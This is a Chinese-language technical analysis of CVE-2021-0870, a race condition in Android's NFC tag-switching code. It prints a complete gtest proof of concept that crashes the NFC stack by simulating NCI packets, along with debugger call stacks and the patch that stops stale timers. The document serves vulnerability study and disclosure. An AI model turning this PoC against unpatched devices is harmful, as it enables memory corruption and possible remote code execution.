概述

NFC在人们的日常生活中扮演了重要角色,已经成为移动设备不可或缺的组件,NFC和蓝牙类似,都是利用无线射频技术来实现设备之间的通信.因此芯片固件和主机NFC子系统都是远程代码执行(RCE)攻击的目标。

CVE-2021-0870是一枚NFC中的RCE高危漏洞,2021年10月漏洞通告中显示已被修复https://source.android.com/security/bulletin/2021-10-01 。漏洞成因是RW_SetActivatedTagType可以通过将NFC的TCB(tag control block)置零的方式实现在不同tag之间切换,TCB所在的内存区域是固定不变的,这块内存被不同tag复用。当TCB被置零后即表示上一状态已被禁用.但是新tag激活后,上一个状态的超时检测定时器仍然在工作,并且仍然引用TCB里的数据和指针,然而此时TCB已经被置零.随后新状态启动自己的定时器重写TCB中相应偏移的数据时,会产生条件竞争。

NFC技术框架

NFC的三种运行模式

Reader/Write模式:简称R/W 和NFC Tag/NFC reader有关

Peer-to-Peer模式:简称P2P 它支持两个NFC设备进行交互

NFC Card Emulation(CE) : 他能把NFC功能的设备模拟成智能卡,这样就可以实现手机支付/门禁卡功能

漏洞存在于Reader/Write模式(R/W)

Reader/Write模式

NFC Tag/NFC reader是NFC系统RFID中的两个重要的组件，其中Tag是一种用于存储数据的被动式RFID tag，它自身不包含电源,而是依赖其他组件,如NFC reader通过线圈里的电磁感应给他供电,然后通过某些射频通信协议来存取NFC tag里的数据。

NFC Forum 定义了两个数据结构用于设备间的通信(不仅仅是设备之间,也包括R/W模式种的NFC Reader和NFC Tag之间交互数据) ,分别是NDEF和NFC Record。

R/W模式下使用NDEF数据结构通信时,NFC设备的每一次数据交互都会被封装在一个NDEF Message中,一个Message包括多个NFC RecordMessage 的数据结构如下,它是多个record组合而成。

单个record的结构如下：

本文不对详细的数据结构的各个字段做出解释

漏洞存在于使用NDEF数据包通信的过程中

Tag

NFC Forum 定义了4种tag,分别为Type1,2,3,4 。他们之间的区别在于占用存储空间的大小和使用底层协议不同.但能被NFC Reader和NFC Tag 读写的tag类型远多于4种,Android Java层提供了"android.nfc.tech"包用来处理不同类型的tag,下表列出了该包里的几个类,这些类分别处理不同类型的tag。例如,NDEF 是用来处理Type1-4的类,

漏洞代码中出现的T1T,T2T...TT,I93,是R/W模式下,探测,读写NDEF数据包的具体实现方法,是一种的技术标准.比如I93是基于 ISO 15693 的实现方法,T1T基于NFC-A , 也就是ISO 14443-3A。

漏洞分析

poc代码

基于Google的测试框架gtest编写了一个集成测试文件,TEST函数是测视例的main函数,自动化测试框架从TEST调用poc代码:

TEST(NfcIntegrationTest, test_mifare_state_bug) {
  CallbackTracker tracker;
  g_callback_tracker = &tracker;

  NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
  theInstance.Initialize();

  NFA_Init(&entry_funcs);
  NFA_Enable(nfa_dm_callback, nfa_conn_callback);
  usleep(5000);

  std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());

  {
    std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
    reset_done_cv.wait(reset_done_lock);
  }

  NFA_EnableListening();
  NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);

  NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
  NFA_StartRfDiscovery();

  {
    std::unique_lock<std::mutex> enable_lock(cv_mutex);
    enable_cv.wait(enable_lock);
  }

  std::vector<uint8_t> init_core = {0x0,  0xa, 0x3,  0xca, 0xff, 0xff, 0xff,
                                    0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
  g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
                                            NCI_MSG_CORE_INIT, init_core.data(),
                                            init_core.size());

  g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
                                       HAL_NFC_STATUS_OK);

  {
    std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
    nfa_enable_cv.wait(nfa_enable_lock);
  }

  std::vector<uint8_t> discover_rf = {0x0};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
      discover_rf.size());

  {
    std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
    rf_discovery_started_cv.wait(rf_discovery_started_lock);
  }
  std::vector<uint8_t> activate_rf = {/* disc_id */ 0x0,
                                      NFC_DISCOVERY_TYPE_POLL_V,
                                      static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
  for (int i = 0; i < 27; i++) {
    activate_rf.push_back(0x6);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_rf.data(), activate_rf.size());
  {
    std::unique_lock<std::mutex> activated_lock(cv_mutex);
    activated_cv.wait(activated_lock);
  }

  NFA_RwReadNDef();

  {
    std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
    i93_detect_cv.wait(i93_detect_lock);
  }

  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());

  std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
      deactivate_rf.data(), deactivate_rf.size());

  {
    std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
    deactivated_cv.wait(deactivated_lock);
  }

  std::vector<uint8_t> activate_another_rf = {
      /* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
  for (int i = 0; i < 70; i++) {
    activate_another_rf.push_back(0x2);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_another_rf.data(), activate_another_rf.size());

  {
    std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
    t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
  }

  NFA_Disable(true);

  {
    std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
    nfa_disable_cv.wait(nfa_disable_lock);
  }
}

poc思路大致步骤为，先让系统处于i93模式，发送读数据请求后迅速将系统从i93切换到t3t，系统程序出现崩溃。

接下来把poc拆成几个部分逐一分析。

part1

第一部分代码是 ：

CallbackTracker tracker;
  g_callback_tracker = &tracker;

  NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
  theInstance.Initialize();

  NFA_Init(&entry_funcs);
  NFA_Enable(nfa_dm_callback, nfa_conn_callback);
  usleep(5000);

NFA_Init(&entry_funcs)用于初始化NFA的控制块.控制块的作用类似Windows中的PEB结构体。

NFC允许用户在应用层注册NFC芯片硬件抽象层(HAL)的回调函数,poc中定义了一个entry_funcs回调函数表,通过NFA_Init中的NFC_Init函数将entry_funcs回调函数表注册到HAL层.直到NFC被禁用前这个函数指针数组都不会被释放.entry_funcs如下:

tHAL_NFC_ENTRY entry_funcs = {
    .open = FakeOpen,
    .close = FakeClose,
    .core_initialized = FakeCoreInitialized,
    .write = FakeWrite,
    .prediscover = FakePrediscover,
    .control_granted = FakeControlGranted,
};

和在内核模块中给设备设置回调函数相似,entry_funcs相当于file_operation结构体。

entry_funcs里用很多Fake开头的回调函数重载了默认函数,然后把他塞进CallbackTracker这个类,这样做的好处是：

1.函数重载可以对系统默认的回调函数进行二次包装，实现Hook功能.比如后面会看到,加入了线程同步的功能。

2.只通过一个自定义的类实现所有函数的调用.让代码结构更加整洁。

接着调用NFA_Enable,他调用的几个关键函数是：

NFA_Enable->nfa_sys_sendmsg -> GKI_send_msg -> GKI_send_event -> pthread_cond_signal 。

NFA（NFC For Android）是安卓系统中NFC的实现。NFA_Enable用来使能安卓NFC,调用它时NFCC必须已经上电,该函数启动了NFC关键的几个任务,打开了NCI的传输渠道,重置了NFC 控制器,初始化整个NFC系统,他是初始化最重要的函数,一般只在系统启动时调用一次,这里我们再次调用来生成一个独立于系统NFC的单独的NFC实验环境。

nfa_sys_sendmsg函数用来发送GKI (General Kernel Interface)消息,

GKI_send_event将event从一个task发送给另一个task。任务之间使用event数据结构的数据包,经安卓的HwBinder进行消息传递.Hwbinder是谷歌专门为供应商设计的进程间通信框架,独立于安卓系统的binder存在,是从8.0以后引入的新机制。

NFA_Enable执行完后,除了测试框架调用Test的主线程外,进程中会多出两个线程,这两个线程就是两个task,可近似理解为一个是NFCC,另一个充当客户端,这两个线程之间互相发数据包交互.作为服务端的task维护了一个命令队列,里面存放要被执行的命令,通过nfc_ncif_check_cmd_queue去检查队列里有没有命令,如果有就去执行.nfc_task是这个事件处理消息的主循环.环解析命令事件并执行相应的回调函数.代码如下, 前一个if半部分负责处理初始化,后一个if是主循环

uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {
...
  /* main loop */
  while (true) {
    event = GKI_wait(0xFFFF, 0);
...
    /* Handle NFC_TASK_EVT_TRANSPORT_READY from NFC HAL */
    if (event & NFC_TASK_EVT_TRANSPORT_READY) {
...
      nfc_set_state(NFC_STATE_CORE_INIT);
      nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG);
    }
    if (event & NFC_MBOX_EVT_MASK) {
      /* Process all incoming NCI messages */
      while ((p_msg = (NFC_HDR*)GKI_read_mbox(NFC_MBOX_ID)) != nullptr) {
        free_buf = true;
        /* Determine the input message type. */
        switch (p_msg->event & NFC_EVT_MASK) {
          case BT_EVT_TO_NFC_NCI:
            free_buf = nfc_ncif_process_event(p_msg);
            break;
          case BT_EVT_TO_START_TIMER:
            /* Start nfc_task 1-sec resolution timer */
            GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS(1), true);
            break;
          case BT_EVT_TO_START_QUICK_TIMER:
            /* Quick-timer is required for LLCP */
            GKI_start_timer(
                NFC_QUICK_TIMER_ID,
                ((GKI_SECS_TO_TICKS(1) / QUICK_TIMER_TICKS_PER_SEC)), true);
            break;
          case BT_EVT_TO_NFC_MSGS:
            nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG*)p_msg);
            break;
          default:
            DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
                "nfc_task: unhandle mbox message, event=%04x", p_msg->event);
            break;
        }
        if (free_buf) {
          GKI_freebuf(p_msg);
        }
      }
    }
...
}

part2

第二部分代码如下所示：

std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());

  {
    std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
    reset_done_cv.wait(reset_done_lock);
  }

SimulatePacketArrival是poc调用频率最高的函数,模拟了从task之间数据交互的过程 。

task之间使用NCI数据包通信,NCI数据包的格式简要概述为：

头部,共3字节

/* NCI Command and Notification Format:
 * 3 byte message header:
 * byte 0: MT PBF GID
 * byte 1: OID
 * byte 2: Message Length */
 /* MT: Message Type (byte 0) */

头部后面跟实际数据,如下所示

SimulatePacketArrival如何构造数据包呢? 以它第一次被调用为例

SimulatePacketArrival(NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),reset_core.size())

对比他的函数原型

void SimulatePacketArrival(uint8_t mt, uint8_t pbf, uint8_t gid,uint8_t opcode, uint8_t* data, size_t size)

可知mt->NCI_MT_NTF , pbf-> 0 , gid->NCI_GID_CORE , opcode->NCI_MSG_CORE_RESET , data->reset_core.data() , size->reset_core.size() , std::vector<uint8_t> reset_core -> {0x1, 0x29, 0x20};

先构造前三个Octect组成头部,然后在末尾插入数据

std::vector<uint8_t> buffer(3);
    buffer[0] = (mt << NCI_MT_SHIFT) | (pbf << NCI_PBF_SHIFT) | gid;//第一个8位,
    buffer[1] = (mt == NCI_MT_DATA) ? 0 : opcode;//第二个8位
    buffer[2] = static_cast<uint8_t>(size);//第三个8位
    buffer.insert(buffer.end(), data, data + size);//尾部附加的实际数据是{0x1, 0x29, 0x20}
	data_callback_(buffer.size(), buffer.data());

接着调用data_callback_函数发送数据给另一个task。

每一次SimulatePacketArrival调用后面都有一个代码块,例如

{
    std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
    reset_done_cv.wait(reset_done_lock);
  }

reset_done_cv是一个条件变量,条件变量是C++11引入的一种同步机制.调用reset_done_cv.wait时会将线程挂起,直到其他线程调用notify是才解除阻塞继续执行。合理运用条件变量可以实现不同线程之间的同步。

比如reset_done_cv解除阻塞的时机是在调用FakeWrite的时候,调用栈是：

(gdb) bt
#0  0x000000555558b804 in FakeWrite(unsigned short, unsigned char*) ()
#1  0x0000007fb63ba7fc in nfc_ncif_check_cmd_queue (p_buf=0x7300007fb644f440) at system/nfc/src/nfc/nfc/nfc_ncif.cc:337
#2  0x0000007fb63bb7cc in nfc_ncif_send_cmd (p_buf=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:402
#3  0x0000007fb63ae370 in nci_snd_core_init (nci_version=32 ' ') at system/nfc/src/nfc/nci/nci_hmsgs.cc:94
#4  0x0000007fb63c1f44 in nfc_ncif_proc_reset_rsp (p=<optimized out>, is_ntf=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:1741
#5  0x0000007fb63b00c8 in nci_proc_core_ntf (p_msg=<optimized out>) at system/nfc/src/nfc/nci/nci_hrcv.cc:135
#6  0x0000007fb63bc1b8 in nfc_ncif_process_event (p_msg=<optimized out>) at system/nfc/src/nfc/nfc/nfc_ncif.cc:505
#7  0x0000007fb63c3df4 in nfc_task (arg=<optimized out>) at system/nfc/src/nfc/nfc/nfc_task.cc:378
#8  0x0000007fb6436758 in gki_task_entry (params=<optimized out>) at system/nfc/src/gki/ulinux/gki_ulinux.cc:96
#9  0x0000007fb5cfe9b8 in __pthread_start (arg=0x7f31d23cc0) at bionic/libc/bionic/pthread_create.cpp:347
...

nfc_ncif_check_cmd_queue函数会调用HAL_WRITE(p_buf)函数发数据给HAL.虽然从调用栈看不出FakeWrite实际就是HAL_WRITE.但我们之前重载了 HAL_WRITE的函数指针所以HAL_WRITE实际就是FakeWrite 。

void FakeWrite(uint16_t data_len, uint8_t* p_data) {
  uint8_t reset_pattern[5] = {0x20, 0x1, 0x2, 0x0, 0x0};
  if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len)) {
    reset_done_cv.notify_one();
  }

  uint8_t i93_detect_pattern[6] = {0x0, 0x0, 0x3, 0x26, 0x1, 0x0};
  if (data_len == 6 && !memcmp(i93_detect_pattern, p_data, data_len)) {
    i93_detect_cv.notify_one();
  }

  uint8_t t3t_get_system_codes_pattern[7] = {0x21, 0x8, 0x4, 0xff,
                                             0xff, 0x1, 0xf};
  if (data_len == 7 &&
      !memcmp(t3t_get_system_codes_pattern, p_data, data_len)) {
    t3t_get_system_codes_cv.notify_one();
  }
}

因为写入NFC需要被频繁调用,必须判断到来的数据包是否符合要求才能执行对应的操作,所以第一个if中判断

if (data_len == 5 && !memcmp(reset_pattern, p_data, data_len))

符合条件就会解除调用reset_done_cv.notify_one()阻塞.这里重载HAL函数指针的优势就显现出来了.FakeWrite 函数除了向HAL发送/写入数据之外,还增加了解除poc中各种条件变量阻塞的功能方便了在竞态漏洞利用中进行时序同步 。

part3

代码是：

NFA_EnableListening();
  NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);

  NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
  NFA_StartRfDiscovery();

  {
    std::unique_lock<std::mutex> enable_lock(cv_mutex);
    enable_cv.wait(enable_lock);
  }

  std::vector<uint8_t> init_core = {0x0,  0xa, 0x3,  0xca, 0xff, 0xff, 0xff,
                                    0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
  g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
                                            NCI_MSG_CORE_INIT, init_core.data(),
                                            init_core.size());

  g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
                                       HAL_NFC_STATUS_OK);

  {
    std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
    nfa_enable_cv.wait(nfa_enable_lock);
  }

  std::vector<uint8_t> discover_rf = {0x0};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
      discover_rf.size());

  {
    std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
    rf_discovery_started_cv.wait(rf_discovery_started_lock);
  }

将NFC开启,并进入discovery模式。

part4

代码是：

NFA_RwReadNDef();
{
  std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
  i93_detect_cv.wait(i93_detect_lock);
}

NFA_RwReadNDef()会读取I93 tag里的数据,此时定时器开始启动用于检测是否超时,

下面是I93收到读请求后定时器被启动的调用栈：

#0  nfc_start_quick_timer (p_tle=<optimized out>, type=<optimized out>, timeout=<optimized out>) at ../src/nfc/nfc/nfc_task.cc:190
#1  0x00000000005f8874 in rw_i93_send_to_lower (p_msg=<optimized out>) at ../src/nfc/tags/rw_i93.cc:680
#2  0x00000000005f916d in rw_i93_send_cmd_inventory (p_uid=<optimized out>, including_afi=<optimized out>, afi=<optimized out>) at ../src/nfc/tags/rw_i93.cc:740
#3  0x0000000000618f82 in RW_I93DetectNDef () at ../src/nfc/tags/rw_i93.cc:3985
#4  0x0000000000720e2e in nfa_rw_start_ndef_detection () at ../src/nfa/rw/nfa_rw_act.cc:1557
#5  0x000000000071a76e in nfa_rw_read_ndef () at ../src/nfa/rw/nfa_rw_act.cc:1737
#6  nfa_rw_handle_op_req (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2863
#7  0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#8  0x0000000000721df0 in nfa_sys_event (p_msg=<optimized out>) at ../src/nfa/sys/nfa_sys_main.cc:85

part5

代码是：

g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());

  std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
      deactivate_rf.data(), deactivate_rf.size());

  {
    std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
    deactivated_cv.wait(deactivated_lock);
  }

这段代码关闭了NFC,目的是从i93顺利切换到T3T 。

part 6

std::vector<uint8_t> activate_another_rf = {
      /* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
  for (int i = 0; i < 70; i++) {
    activate_another_rf.push_back(0x2);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_another_rf.data(), activate_another_rf.size());
  {
    std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
    t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
  }
  NFA_Disable(true);
  {
    std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
    nfa_disable_cv.wait(nfa_disable_lock);
  }

part5中从I93 tag中读取了数据,并且启动定时器,我们必须在定时器过期前立即调用RW_SetActivatedTagType通知NFCC终止立即I93 Tag,并激活T3T Tag。

g_callback_tracker->SimulatePacketArrival(NCI_MT_NTF,0,NCI_GID_RF_MANAGE,NCI_MSG_RF_INTF_ACTIVATED,activate_another_rf.data(),activate_another_rf.size());

就调用了RW_SetActivatedTagType ，

RW_SetActivatedTagType 代码为：

tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params,tRW_CBACK* p_cback) {
  ...
  memset(&rw_cb.tcb, 0, sizeof(tRW_TCB));
  ...

原来从一个状态切换到另一个状态的方法是调用memset(&rw_cb.tcb, 0, sizeof(tRW_TCB))将TCB控制块全部置零清空,虽然看起来没错,但是把控制块清空并不等价于将上个状态的上下文被全部重置,他忽略了I93tag之前启动的定时器此时仍在工作,但新的tag也会启动自己的定时器,并改写TCB中相同偏移的数据。

TCB是被复用的,我们使用memset而非free,说明状态切换后,这块内存仍然存放的是TCB,所以此时系统里会出现两个定时器改写同一地址的情景。

以下是T3T tag下定时器向TCB中写入数据时代码:

2367      *p_b = rw_t3t_mrti_base[e] * b; /* (B+1) * base (i.e T/t3t * 4^E) */

汇编是：

1: x/5i $pc
=> 0x5de2a3 <_Z13rw_t3t_selectPhhh+787>:        mov    %r12d,%eax
   0x5de2a6 <_Z13rw_t3t_selectPhhh+790>:        shr    $0x6,%al
   0x5de2a9 <_Z13rw_t3t_selectPhhh+793>:        movzbl %al,%eax
   0x5de2ac <_Z13rw_t3t_selectPhhh+796>:        lea    0x813de0(,%rax,4),%rdi
   0x5de2b4 <_Z13rw_t3t_selectPhhh+804>:        mov    %rdi,%rax

调用栈是：

#0  rw_t3t_select (peer_nfcid2=<optimized out>, mrti_check=<optimized out>, mrti_update=<optimized out>) at ../src/nfc/tags/rw_t3t.cc:2393
#1  0x000000000067ab9b in RW_SetActivatedTagType (p_activate_params=<optimized out>, p_cback=<optimized out>) at ../src/nfc/tags/rw_main.cc:290
#2  0x00000000007153fd in nfa_rw_activate_ntf (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2630
#3  0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#4  0x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=<optimized out>, excl_rf_not_active=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:184
#5  0x00000000006b243d in nfa_dm_poll_disc_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_act.cc:1636
#6  0x00000000006a397d in nfa_dm_disc_notify_activation (p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:1238
#7  0x0000000000697105 in nfa_dm_disc_sm_discovery (event=<optimized out>, p_data=0x7fff715200e0) at ../src/nfa/dm/nfa_dm_discover.cc:1918

崩溃现场

i93定时器仍存在于定时器链表中,t3t被激活后里面的数据被t3t定时器破坏.当t3t定时器也被插入链表头部时会产生段错误。

崩溃现场:

对应的源代码是while那行

/* Find the entry that the new one needs to be inserted in front of */
      p_temp = p_timer_listq->p_first;
=>>    while (p_tle->ticks > p_temp->ticks) {
        /* Update the tick value if looking at an unexpired entry */
        if (p_temp->ticks > 0) p_tle->ticks -= p_temp->ticks;

        p_temp = p_temp->p_next;
      }

下面这个调用栈并非poc的而是漏洞被发现时的,放在这仅供参考。

(rr) bt
#0  0x000000000075b6fd in GKI_add_to_timer_list (p_timer_listq=<optimized out>, p_tle=0x1221dd8 <rw_cb+88>, [email protected]=0x7fff71517140) at ../fuzzer/gki_fuzz_fakes.cc:153
#1  0x000000000059d1ce in nfc_start_quick_timer (p_tle=<optimized out>, type=<optimized out>, timeout=<optimized out>) at ../src/nfc/nfc/nfc_task.cc:216
#2  0x00000000005e3c68 in rw_t3t_start_poll_timer (p_cb=<optimized out>) at ../src/nfc/tags/rw_t3t.cc:333
#3  RW_T3tGetSystemCodes () at ../src/nfc/tags/rw_t3t.cc:2964
#4  0x0000000000719a40 in nfa_rw_t3t_get_system_codes () at ../src/nfa/rw/nfa_rw_act.cc:2331
#5  nfa_rw_handle_op_req (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2971
#6  0x000000000071585d in nfa_rw_activate_ntf (p_data=<optimized out>) at ../src/nfa/rw/nfa_rw_act.cc:2677
#7  0x000000000070b144 in nfa_rw_handle_event (p_msg=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:246
#8  0x000000000070a710 in nfa_rw_proc_disc_evt (event=1 '\001', p_data=<optimized out>, excl_rf_not_active=<optimized out>) at ../src/nfa/rw/nfa_rw_main.cc:184
#9  0x00000000006b243d in nfa_dm_poll_disc_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_act.cc:1636
#10 0x00000000006a397d in nfa_dm_disc_notify_activation (p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:1238
#11 0x0000000000697105 in nfa_dm_disc_sm_discovery (event=<optimized out>, p_data=0x7fff715200e0) at ../src/nfa/dm/nfa_dm_discover.cc:1918
#12 nfa_dm_disc_sm_execute (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:2533
#13 0x000000000068f601 in nfa_dm_disc_discovery_cback (event=<optimized out>, p_data=<optimized out>) at ../src/nfa/dm/nfa_dm_discover.cc:727
#14 0x00000000005b0a92 in nfc_ncif_proc_activate (p=<optimized out>, len=60 '<') at ../src/nfc/nfc/nfc_ncif.cc:1372
#15 0x00000000005c50c9 in nci_proc_rf_management_ntf (p_msg=0x617000003180) at ../src/nfc/nci/nci_hrcv.cc:276
#16 0x00000000005a2e6b in nfc_ncif_process_event (p_msg=0x617000003180) at ../src/nfc/nfc/nfc_ncif.cc:485

漏洞缓解措施

只要在切换到下一个tag之前,将上一个tag的定时器关闭即可。

tNFC_STATUS RW_SetActivatedTagType(tNFC_ACTIVATE_DEVT* p_activate_params,
                                   tRW_CBACK* p_cback) {
  tNFC_STATUS status = NFC_STATUS_FAILED;

  /* check for null cback here / remove checks from rw_t?t */
  DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
      "RW_SetActivatedTagType protocol:%d, technology:%d, SAK:%d",
      p_activate_params->protocol, p_activate_params->rf_tech_param.mode,
      p_activate_params->rf_tech_param.param.pa.sel_rsp);

  if (p_cback == nullptr) {
    LOG(ERROR) << StringPrintf(
        "RW_SetActivatedTagType called with NULL callback");
    return (NFC_STATUS_FAILED);
  }

  switch (rw_cb.tcb_type) {
    case RW_CB_TYPE_T1T: {
      nfc_stop_quick_timer(&rw_cb.tcb.t1t.timer);
      break;
    }
    case RW_CB_TYPE_T2T: {
      nfc_stop_quick_timer(&rw_cb.tcb.t2t.t2_timer);
      break;
    }
    case RW_CB_TYPE_T3T: {
      nfc_stop_quick_timer(&rw_cb.tcb.t3t.timer);
      nfc_stop_quick_timer(&rw_cb.tcb.t3t.poll_timer);
      break;
    }
    case RW_CB_TYPE_T4T: {
      nfc_stop_quick_timer(&rw_cb.tcb.t4t.timer);
      break;
    }
    case RW_CB_TYPE_T5T: {
      nfc_stop_quick_timer(&rw_cb.tcb.i93.timer);
      break;
    }
    case RW_CB_TYPE_MIFARE: {
      nfc_stop_quick_timer(&rw_cb.tcb.mfc.timer);
      nfc_stop_quick_timer(&rw_cb.tcb.mfc.mfc_timer);
      break;
    }
    case RW_CB_TYPE_UNKNOWN: {
      break;
    }
  }

  /* Reset tag-specific area of control block */
  memset(&rw_cb.tcb, 0, sizeof(tRW_TCB));

总结

近几年,安卓系统高危漏洞有多发于硬件设备的趋势,我们会持续关注该领域最新的漏洞利用,并呼吁各大厂商及时更新安全补丁。